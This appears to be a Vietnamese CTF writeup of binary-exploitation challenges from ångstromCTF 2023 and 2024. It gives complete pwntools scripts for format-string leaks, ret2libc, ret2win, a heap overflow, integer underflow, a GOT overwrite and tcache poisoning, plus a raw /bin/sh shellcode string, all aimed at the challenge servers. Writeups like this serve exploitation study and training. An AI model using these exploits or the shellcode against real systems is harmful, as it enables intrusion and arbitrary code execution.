# (writeup) ångstromCTF 2023 ## queue - check file + checksec ![](https://i.imgur.com/2FYOhDQ.png) - check ida ![](https://i.imgur.com/a06dEr1.png) - bài này là fmtstr đơn giản thôi - script: ```python #!/usr/bin/python3 from pwn import * from base64 import * from binascii import * context.binary = exe = ELF('./queue',checksec=False) flag = b'' for i in range(14,18): #p = process(exe.path) p = remote('challs.actf.co',31322) p.sendlineafter(b'today?',f'%{i}$p') p.recvuntil(b'nice, ') output = p64(int(p.recvline()[:-1],16)) flag += output print(flag) p.interactive() ``` >actf{st4ck_it_queue_it_a619ad974c864b22} --- ## gaga ![](https://i.imgur.com/XwyoCEf.png) - trong 3 cái nc thì cái nc cuối đc cho biết là sẽ cho ta toàn bộ flag, còn 2 cái đầu thì ra phân nữa - check file + checksec ![](https://i.imgur.com/5fvA2cc.png) - check ida ![](https://i.imgur.com/iUrhq0r.png) - **main** chỉ vỏn vẹn nhiêu đây nên hướng đi là ret2libc - sau khi leak libc cơ bản thì thấy local và server hoàn toàn khác nhau ```python payload = b'A'*8*9 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendlineafter(b'input: ', payload) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['puts'] log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) ``` - ta có thể lấy libc trong Dockerfile hoặc trên libc.blukat.me đều đc - trong Docker là ``libc-2.31.so`` , ở bluekat là ``libc6_2.31-0ubuntu9.9_amd64.so`` - ta pwninit luôn - và phần còn lại là '/bin/sh' với system thôi, ret để stack né xmm0 ![](https://i.imgur.com/f5fQ3nr.png) - remote lụm flag ![](https://i.imgur.com/unZ1x7G.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./gaga2_patched',checksec=False) libc = ELF('./libc-2.31.so',checksec=False) #p = process(exe.path) p = remote('challs.actf.co',31302) # gdb.attach(p,gdbscript=''' # b*main+104 # b*main+109 # b*main+114 # b*main+116 # c # ''') # input() pop_rdi = 0x00000000004012b3 ret = 0x000000000040101a payload = b'A'*8*9 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendlineafter(b'input: ', payload) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['puts'] log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) payload = b'A'*8*9 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(ret) payload += p64(libc.sym['system']) p.sendlineafter(b'input:', payload) p.interactive() #actf{b4by's_ ``` >actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e} --- ## widget - check file + checksec ![](https://i.imgur.com/KadVWGv.png) - check ida ![](https://i.imgur.com/WkWjnKv.png) - ở hàm main có set biến **called**, khiến cho mình thực thi lại hàm ``main`` không được (ban đầu tính tạo shell) ![](https://i.imgur.com/2b6YPv0.png) - khả năng là ret2win, nhưng khổ là ROPgadget k tồn tại 2 thanh ghi $rdi và $rsi - ta sẽ chơi dơ nhảy vào **win()** bỏ qua 2 thằng **if** - vì ta skip khá nhiều nên khi đọc flag từ file, sẽ k tồn tại nơi có thể ghi vào - hint:`` thanh $rbp trỏ ở vùng địa chỉ được phép ghi`` - vậy việc của ta là jump tới **win** hoi - ta sẽ nhảy ở \<win+117> tức là sau 2 thằng kiểm tra **if** ![](https://i.imgur.com/1dszRzC.png) - ở lần nhập đầu là Ammount, sẽ thiết lập lượng byte cho phép ở lần nhập thứ 2, ta sẽ chọn 64 byte - ở lần nhập thứ 2 Content, ta sẽ ow save_rbp, pop_rbp, win - với pop_rbp là 0x00000000404a00 ( tăng thêm 0xa00 cho dư dả) ![](https://i.imgur.com/Lt4DMMC.png) - ayo ![](https://i.imgur.com/7GF69AW.png) - remote ![](https://i.imgur.com/aV2bM4j.png) - thấy hiện tượng lạ ở đây =))) - theo như nghe hướng dẫn đây là lệnh chống bruitforce - việc ta cần làm làm copy cái ``curl -sSfL https:/...`` qua terminal khác để run - mỗi lần kết nối tới server sẽ có 1 cái "proof of work" (chứng minh cái work mình k có bruteforce) - nên ta thêm 1 số tham số ```python p.recvuntil(b"solution: ") key = input() p.sendline(key) ``` ![](https://i.imgur.com/ejgg1If.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./widget',checksec=False) #p = process(exe.path) p = remote('challs.actf.co',31320) # gdb.attach(p, gdbscript=''' # b*main+162 # b*main+227 # b*main+334 # c # ''') # input() p.recvuntil(b"solution: ") key = input() p.sendline(key) pop_rbp = 0x000000000040127d payload = b'64' p.sendlineafter(b'Amount: ',payload) payload = b'A'*40 payload += p64(pop_rbp) + p64(0x00000000404a00) payload += p64(exe.sym['win']+117) p.sendafter(b'Contents: ',payload) p.interactive() ``` > actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981} --- ## leek - check file + checksec ![](https://i.imgur.com/0B4oPJm.png) - check ida ```c int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int i; // [rsp+0h] [rbp-50h] int j; // [rsp+4h] [rbp-4Ch] __gid_t rgid; // [rsp+8h] [rbp-48h] char *v9; // [rsp+10h] [rbp-40h] void *s; // [rsp+18h] [rbp-38h] char s2[40]; // [rsp+20h] [rbp-30h] BYREF unsigned __int64 v12; // [rsp+48h] [rbp-8h] v12 = __readfsqword(0x28u); v3 = time(0LL); srand(v3); setbuf(stdout, 0LL); setbuf(stdin, 0LL); rgid = getegid(); setresgid(rgid, rgid, rgid); puts("I dare you to leek my secret."); for ( i = 0; i < N; ++i ) { v9 = (char *)malloc(0x10uLL); s = malloc(0x20uLL); memset(s, 0, 0x20uLL); getrandom(s, 32LL, 0LL); for ( j = 0; j <= 31; ++j ) { if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == '\n' ) *((_BYTE *)s + j) = 1; } printf("Your input (NO STACK BUFFER OVERFLOWS!!): "); input(v9); printf(":skull::skull::skull: bro really said: "); puts(v9); printf("So? What's my secret? "); fgets(s2, 33, stdin); if ( strncmp((const char *)s, s2, 0x20uLL) ) { puts("Wrong!"); exit(-1); } puts("Okay, I'll give you a reward for guessing it."); printf("Say what you want: "); gets(v9); puts("Hmm... I changed my mind."); free(s); free(v9); puts("Next round!"); } puts("Looks like you made it through."); win(); return v12 - __readfsqword(0x28u); } ``` - hàm ``input()`` ![](https://i.imgur.com/0pLYrV3.png) - mục tiêu là hàm ``win()`` ![](https://i.imgur.com/Dpv6irS.png) - ở đây ta thấy 1 vòng lặp cấp phát bộ nhớ liên tục ![](https://i.imgur.com/bwopodV.png) ![](https://i.imgur.com/fwpEeIe.png) > với số lần lặp là từ 0 đến bé hơn 0x64=100 tổng là 100 lần - hàm **if()** ở đây ta cần phải thoả mãn ![](https://i.imgur.com/14eIPVa.png) > so sánh s và s2 trong 32 byte - s2 được nhập từ **fgets()** ở trên - và s dc lấy từ hàm **input(v9)** > với v9 dc nhập vào từ đầu ![](https://i.imgur.com/0pLYrV3.png) ```c fgets(s,1280,stdin) ``` - biến v9 còn dược lấy làm cho hàm malloc - đoán nhẹ đây là kỹ thuật Heap Overflow - ta debug thử, so sánh 32 byte thì ở **input(v9)** và fgets(s2) ta đều nhập 32 - break tại hàm ``strncmp`` so sánh s và s2 ![](https://i.imgur.com/UswjgPi.png) - địa chỉ của s và s2 ![](https://i.imgur.com/yXYFK40.png) - lúc này ta thấy 2 đối số hoàn toàn khác nhau, có thể malloc chưa đủ - debug lần 2, ta sẽ cho s 50 byte, s2 vẫn 32 byte ![](https://i.imgur.com/ouxoYMU.png) - lúc này có vẻ đúng, nhưng đã đủ 32 byte so sánh giống nhau chưa thì chưa rõ ![](https://i.imgur.com/L5c7iAp.png) - có lẽ chưa =))))) > 32 là full cái heap 0x4052a0 > 40 là full dòng đầu 0x4052c0 (8) > 48 là full dòng 2 của 0x4052c8 (16) > 50 là liếm thêm 2 byte của địa chỉ tiếp theo > mục tiêu là ghi full 0x4052d0 (24) đến full 0x4052d8 (32) > tổng cần ghi: 64 byte - coi như ta đã pass dc hàm **if(strncmp)** đó đi - tiếp theo đến **gets(v9)** ![](https://i.imgur.com/c7wFmhy.png) - đọc **v9** xong r **free(s)** rồi **free(v9)** - lúc này lần nhập là bên trong heap ![](https://i.imgur.com/vlVGVfM.png) - sau lần nhập đó là **free()** 2 lần với 2 biến **s** và **v9** - vậy thì ta cho payload vừa đủ: ``` offset giữa 2 heap 0x4052a0 và 0x4052c0 = 24 byte ``` ![](https://i.imgur.com/bLAt8Uk.png) ``` tổng byte malloc tạo ra là 0x10 + 0x20 = 0x30 kèm theo đó là 0x1 của bits in use ``` > payload = b'A'*24 + p64(0x31) ![](https://i.imgur.com/sTB2R7K.png) - vì sendafter hay sendlineafter lâu lắc nên bỏ after luôn cho nó lẹ ![](https://i.imgur.com/uF7Euv4.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./leek',checksec=False) #p = process(exe.path) p = remote("challs.actf.co",31310) # gdb.attach(p, gdbscript=''' # b*main+431 # c # ''') # input() for i in range(0,100): log.info("round: " + str(i)) payload = b'A'*64 #p.sendlineafter(b'OVERFLOWS!!): ', payload) p.sendline(payload) payload = b'A'*32 #p.sendafter(b'secret? ',payload) p.send(payload) payload = b'A'*24 + p64(0x31) #p.sendlineafter(b'want: ',payload) p.sendline(payload) p.interactive() ``` > actf{very_133k_of_y0u_777522a2c32b7dd6} --- # (writeup) ångstromCTF 2024 ## Presidential - source: ```py #!/usr/local/bin/python import ctypes import mmap import sys flag = "redacted" print("White House declared Python to be memory safe :tm:") buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) ftype = ctypes.CFUNCTYPE(ctypes.c_void_p) fpointer = ctypes.c_void_p.from_buffer(buf) f = ftype(ctypes.addressof(fpointer)) u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): ")) buf.write(u_can_do_it) f() del fpointer buf.close() print("byebye") ``` - viết bằng python nhưng phương thức hoạt động là C - đọc source cũng có thể hiểu: nhập vào **u_can_do_it** rồi gán vào **buf**, sau đó gọi hàm **f()** >nói nôm na là thực thi ấy - solution: chèn shellcode dưới dạng byte ``48BB2F62696E2F736800534889E74831F64831D248C7C03B0000000F05`` ![image](https://hackmd.io/_uploads/HJpazPENR.png) >actf{python_is_memory_safe_4a105261} ## Exam - basic file check ![image](https://hackmd.io/_uploads/Bke5mPVEA.png) - check ida ![image](https://hackmd.io/_uploads/BkP3mP4NA.png) ![image](https://hackmd.io/_uploads/ry9p7P4EA.png) >**main()** - dễ dàng thấy đc mục tiêu ta là **trust_level** > **threshold** - input ta là "%d" (4 byte), không được nhập âm - setup **trust_level** bằng 0 trừ đi input ![image](https://hackmd.io/_uploads/rJhsSvEE0.png) - và **trust_level** sẽ -1 mỗi lần mình input chuỗi "I'm comfirm ... this exam.\n" - value của **threshold**: ![image](https://hackmd.io/_uploads/HJ0erPVVA.png) - thế ta sẽ nhập **detrust** là `0x7fffffff` (dương cực đại) rồi trừ để ra **trust_level** là `0x80000001` - để lớn hơn **threshold** :`0x7ffffffe`, ta cần **trust_level** = `0x7fffffff` bằng cách giảm đi 2 lần > `0x80000001` -> `0x80000000` -> `0x7fffffff` - get flag: ![image](https://hackmd.io/_uploads/Byy-NDNN0.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./exam', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+179 c ''') input() if args.REMOTE: p = remote('challs.actf.co',31322) else: p = process(exe.path) GDB() sla(b': ',str(0x7fffffff)) payload = b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.' sla(b': ',payload) sla(b': ',payload) p.interactive() #actf{manifesting_those_fives} ``` >actf{manifesting_those_fives} ## Bap Bap Bap - basic file check ![image](https://hackmd.io/_uploads/B1JeDvVNR.png) - check ida ![image](https://hackmd.io/_uploads/SyXfwD4EA.png) - dễ thấy được đây là lỗi BOF lẫn FMTSTR - ta chỉ việc vừa leak vừa return lại main (PIE tắt) - rồi ret2libc ![image](https://hackmd.io/_uploads/rk0KwPV4A.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./bap_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+81 c ''') input() if args.REMOTE: p = remote('challs.actf.co',31323) else: p = process(exe.path) GDB() payload = b'%29$p|%13$p' payload = payload.ljust(0x18,b'\0') payload += p64(exe.sym.main+5) sla(b': ',payload) libc_leak = int(p.recvuntil(b'|',drop=True),16) libc.address = libc_leak - 0x29e40 stack_leak = int(p.recv(14),16) info("Libc leak: " + hex(libc_leak)) info("Stack leak: " + hex(stack_leak)) info("Libc base: " + hex(libc.address)) binsh = next(libc.search(b'/bin/sh\0')) system = libc.sym.system pop_rdi = 0x000000000002a3e5 + libc.address payload = b'a'*0x18 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(pop_rdi+1) payload += p64(system) sla(b': ',payload) p.interactive() #actf{baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap____} ``` >actf{baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap____} ## og - basic file check ![image](https://hackmd.io/_uploads/SkqhvD4NR.png) - check ida ![image](https://hackmd.io/_uploads/ByNAPPE4C.png) >**go()** - thấy được BOF lẫn FMTSTR, có PIE tắt nhưng ở đây có canary và chương trình chỉ nhập 1 lần rồi kết thúc - tận dụng khả năng check canary từ `__stack_chk_fail` để ghi đè lại **main()** - sau đó dùng fmtstr để ow one_gadget ![image](https://hackmd.io/_uploads/SkEjdDVV0.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./og_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*go+126 b*go+163 c ''') input() if args.REMOTE: p = remote('challs.actf.co',31312) else: p = process(exe.path) GDB() main = exe.sym.main diff = 0x1255 payload = b'%12$p||%15$p' payload += f'%{diff-0x31+0x13}c%10$hn'.encode() payload = payload.ljust(0x20,b'a') payload += p64(exe.got.__stack_chk_fail) sla(b'name: ',payload) p.recvuntil(b'around, ') stack_leak = int(p.recvuntil(b'||',drop=True),16) - 0x48 libc_leak = int(p.recv(14),16) libc.address = libc_leak - 0x29d90 info("stack leak: " + hex(stack_leak)) info("Libc leak: " + hex(libc_leak)) info("Libc base: " + hex(libc.address)) og = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43] one_gadget = libc.address + og[1] ow = exe.got.setbuf info("One gadget: " + hex(one_gadget)) package = { one_gadget & 0xffff: ow, one_gadget >> 16 & 0xffff: ow+2, one_gadget >> 32 & 0xffff: ow+4, } order = sorted(package) payload = f'%{order[0]}c%11$hn'.encode() payload += f'%{order[1] - order[0]}c%12$hn'.encode() payload += f'%{order[2] - order[1]}c%13$hn'.encode() payload = payload.ljust(0x28,b'a') payload += flat( package[order[0]], package[order[1]], package[order[2]], ) sla(b'name: ',payload) p.interactive() #actf{you_really_thought_you_could_overwrite_printf_with_system_huh} ``` >actf{you_really_thought_you_could_overwrite_printf_with_system_huh} ## heapify - basic file check ![image](https://hackmd.io/_uploads/ByWCOwNNC.png) - source: ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define N 32 int idx = 0; char *chunks[N]; int readint() { char buf[0x10]; read(0, buf, 0x10); return atoi(buf); } void alloc() { if(idx >= N) { puts("you've allocated too many chunks"); return; } printf("chunk size: "); int size = readint(); char *chunk = malloc(size); printf("chunk data: "); // ---------- // VULN BELOW !!!!!! // ---------- gets(chunk); // ---------- // VULN ABOVE !!!!!! // ---------- printf("chunk allocated at index: %d\n", idx); chunks[idx++] = chunk; } void delete() { printf("chunk index: "); int i = readint(); if(i >= N || i < 0 || !chunks[i]) { puts("bad index"); return; } free(chunks[i]); chunks[i] = 0; } void view() { printf("chunk index: "); int i = readint(); if(i >= N || i < 0 || !chunks[i]) { puts("bad index"); return; } puts(chunks[i]); } int menu() { puts("--- welcome 2 heap ---"); puts("1) allocate"); puts("2) delete"); puts("3) view"); } int main() { setbuf(stdout, 0); menu(); for(;;) { printf("your choice: "); switch(readint()) { case 1: alloc(); break; case 2: delete(); break; case 3: view(); break; default: puts("exiting"); return 0; } } } ``` - thấy luôn BUG từ **gets()** nhưng lạ một cái khi **malloc()** cái đầu, chương trình tự **malloc()** thêm 1 chunk để copy payload dù trong source lẫn ida không có chức năng ấy ![image](https://hackmd.io/_uploads/Bk2KnvVN0.png) >tạo chunk 0x30 nhưng lòi thêm chunk bên dưới - có set NULL sau khi **free()** dù cho **malloc()** size thoải mái - có **gets()** ta có thể ctrl được top_chunk - nhưng libc đi kèm là 2.35 ---> k có hook lẫn House of Orange - nhưng lại có House of Tangerine (giống Orange) exploit được ### leak libc - đầu tiên ta sẽ tạo fake chunk ```py add(0x25, b'a'*0x10) #idx0 add(0x30, b'A') #idx1 add(0x20, b'B') #idx2 add(0x60, b'C') #idx3 add(0x1000, p64(0x101)*0x100) #idx4 delete(2) payload = b'B'*0x20 payload += p64(0) + p64(0x611)[:-1] #prev_size #size_idx3 add(0x20, payload) #idx5 #reused chunk idx_2 delete(3) #ubin add(0x60, b'D') #idx6 show(4) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x21ace0 info('libc leak: ' + hex(libc_leak)) info('libc base: ' + hex(libc.address)) ``` - ta sẽ bỏ qua chunk đầu (vì dưới cái chunk tự **malloc()** từ đề, khó khai thác) - sau đó ta sẽ xoá 1 chunk rồi **malloc()** lại cùng size để reused chunk rồi ow next_chunk có size sẽ vào ubin nếu **free()** - khi đã có ubin, đồng nghĩa với next_chunk của ubin sẽ chứa **main_area** dù mình chưa free (do sự gộp chunk) - rồi ta **malloc()** lại size bất kì rồi show next_chunk của ubin ### leak heap - để leak heap, ta cứ việc tạo chunk mới rồi **free()** sẽ chứa fw_pointer ```py add(0x60, b'E') #idx7 delete(7) show(4) leak = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0')) heap_leak = leak << 12 info('heap leak: ' + hex(heap_leak)) ``` > lưu ý libc 2.35 là có cơ chế xor bảo vệ tcache ### ow got - ta sẽ tcache poisoning bằng cách tạo 3 tcache rồi sửa fw_pointer - về ow GOT thằng nào thì mình sẽ debug sâu khi **puts** ra khi show nha ![image](https://hackmd.io/_uploads/Sy1DWdVN0.png) > call tới hàm `*ABS*+0xa86a0@plt` hơi lạ ![image](https://hackmd.io/_uploads/Bk7jZONNR.png) > rồi jmp tới $rip+0x1f1bfd ![image](https://hackmd.io/_uploads/HyTeG_VEA.png) > vậy offset mình là 0x21a098 > cộng 8 do nó return địa chỉ tiếp theo ### get flag ![image](https://hackmd.io/_uploads/BkbMcw4EC.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./heapify', checksec=False) libc = ELF("./libc.so.6",checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*alloc+84 b*alloc+125 b*alloc+198 b*delete+130 b*view+130 c ''') input() if args.REMOTE: p = remote('challs.actf.co',31501) else: p = process(exe.path) def add(size, data): sla(b"choice:", b"1") sla("size: ", str(size)) sla("data: ", data) def delete(idx): sla(b"choice:", b"2") sla("index: ", str(idx)) def show(idx): sla(b"choice:", b"3") sla("index: ", str(idx)) add(0x25, b'a'*0x10) #idx0 add(0x30, b'A') #idx1 add(0x20, b'B') #idx2 add(0x60, b'C') #idx3 add(0x1000, p64(0x101)*0x100) #idx4 delete(2) payload = b'B'*0x20 payload += p64(0) + p64(0x611)[:-1] #prev_size #size_idx3 add(0x20, payload) #idx5 #reused chunk idx_2 delete(3) #ubin add(0x60, b'D') #idx6 show(4) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x21ace0 info('libc leak: ' + hex(libc_leak)) info('libc base: ' + hex(libc.address)) add(0x60, b'E') #idx7 delete(7) show(4) leak = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0')) heap_leak = leak << 12 info('heap leak: ' + hex(heap_leak)) #setup tcache add(0x20, b'F') #idx8 add(0x20, b'G') #idx9 add(0x20, b'H') #idx10 delete(10) #10 delete(9) #9->10 delete(8) #8->9->10 GDB() add(0x100, b'/bin/sh\0') #idx11 payload = b'I'*0x20 payload += p64(0) + p64(0x31) #prev_size_idx_9 #size_idx9 payload += p64((heap_leak >> 12)^(libc.address+0x21a098-8))[:-1] #9->victim add(0x20, payload) #idx12 #bin: 9->victim info("victim: " + hex(libc.address+0x21a098)) add(0x20, b'J') #idx13 #junk_idx_9 add(0x20, b'K'*8 + p64(libc.sym.system)[:-1]) #idx14 #victim show(11) p.interactive() #actf{wh3re_did_my_pr3c1ous_fr33_hook_go??} ``` >actf{wh3re_did_my_pr3c1ous_fr33_hook_go??}